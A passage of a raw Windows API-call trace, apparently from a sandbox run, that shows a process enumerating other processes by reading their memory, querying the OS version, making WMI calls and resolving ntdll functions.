ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.915] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.915] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.916] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x711d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.916] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7118c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.918] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0274.937] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0274.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0274.937] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0274.938] malloc (_Size=0x9c) returned 0x196ef0d7960 [0274.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71195e, lpBuffer=0x196ef0d7960, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7960*, lpNumberOfBytesRead=0x0) returned 1 [0274.938] free (_Block=0x196ef0d7960) [0274.940] CloseHandle (hObject=0x464) returned 1 [0274.941] _ui64tow_s (in: _Value=0xc88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0274.949] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3208") returned 4 [0274.951] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0274.951] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0274.993] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x464 [0274.993] GetLastError () returned 0x0 [0274.994] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0274.994] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0274.994] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0274.995] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644003670, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0274.995] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f6440032b4, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0274.997] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.000] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.000] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.000] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644002c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.000] malloc (_Size=0xda) returned 0x196ef0d4e70 [0275.000] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d4e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0275.001] free (_Block=0x196ef0d4e70) [0275.003] CloseHandle (hObject=0x464) returned 1 [0275.004] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0275.013] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3232") returned 4 [0275.016] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.016] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0275.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x464 [0275.069] GetLastError () returned 0x0 [0275.069] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0275.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0275.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0275.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0275.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a18c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.072] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.075] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.075] malloc (_Size=0x48) returned 0x196ef0fb720 [0275.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fb720, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb720*, lpNumberOfBytesRead=0x0) returned 1 [0275.076] free (_Block=0x196ef0fb720) [0275.077] CloseHandle (hObject=0x464) returned 1 [0275.078] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0275.135] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4288") returned 4 [0275.137] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.138] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0275.207] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x464 [0275.207] GetLastError () returned 0x0 [0275.208] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0275.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0275.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0275.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0275.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431948, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.210] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.213] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.213] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.213] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.214] malloc (_Size=0x3e) returned 0x196ef0fbc20 [0275.214] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fbc20, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbc20*, lpNumberOfBytesRead=0x0) returned 1 [0275.215] free (_Block=0x196ef0fbc20) [0275.215] CloseHandle (hObject=0x464) returned 1 [0275.216] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0275.224] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2740") returned 4 [0275.226] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.227] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0275.269] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x464 [0275.269] GetLastError () returned 0x0 [0275.270] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0275.270] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0275.270] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0275.270] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401c90, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0275.271] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4018c8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.272] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.274] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4012b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.274] malloc (_Size=0x64) returned 0x196ef0d0370 [0275.275] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0275.275] free (_Block=0x196ef0d0370) [0275.276] CloseHandle (hObject=0x464) returned 1 [0275.277] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0275.282] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4972") returned 4 [0275.283] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.283] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0275.341] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x464 [0275.341] GetLastError () returned 0x0 [0275.342] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0275.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0275.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0275.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0275.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.344] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.345] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.345] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.346] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.346] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0275.346] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0275.347] free (_Block=0x196ef0d4e70) [0275.347] CloseHandle (hObject=0x464) returned 1 [0275.348] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0275.354] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3364") returned 4 [0275.355] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.355] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0275.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x464 [0275.433] GetLastError () returned 0x0 [0275.433] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0275.434] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0275.434] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0275.434] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0275.434] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.465] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0275.467] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0275.467] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0275.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0275.474] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0275.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0275.475] free (_Block=0x196ef0d4e70) [0275.476] CloseHandle (hObject=0x464) returned 1 [0275.478] free (_Block=0x196ef0d7d70) [0275.478] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0275.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670f7d400 | out: lpSystemTimeAsFileTime=0x670f7d400*(dwLowDateTime=0x850cc02a, dwHighDateTime=0x1d9eb0c)) [0275.479] SetEvent (hEvent=0x248) returned 1 [0275.646] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225dd0 [0275.647] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225dd0, pulNumLanguages=0x670f7de50 | out: pulNumLanguages=0x670f7de50) returned 1 [0275.647] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225dd0) returned 1 [0275.647] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c90) returned 1 [0275.673] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0277.879] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0279.988] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0281.871] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0281.890] RtlRestoreLastWin32Error () returned 0x670db7000 [0281.890] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0281.890] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225f70 [0281.890] RtlRestoreLastWin32Error () returned 0x670db7000 [0281.891] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225f70, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225f70, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0281.891] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225d20 [0281.891] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f70) returned 1 [0281.891] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e7d0 [0281.891] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e7d0, pulNumLanguages=0x670f7dda8 | out: pulNumLanguages=0x670f7dda8) returned 1 [0281.891] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e7d0) returned 1 [0281.902] malloc (_Size=0xb0) returned 0x196ef0f85a0 [0281.902] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0281.902] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0281.902] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0281.902] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0281.903] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0281.904] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 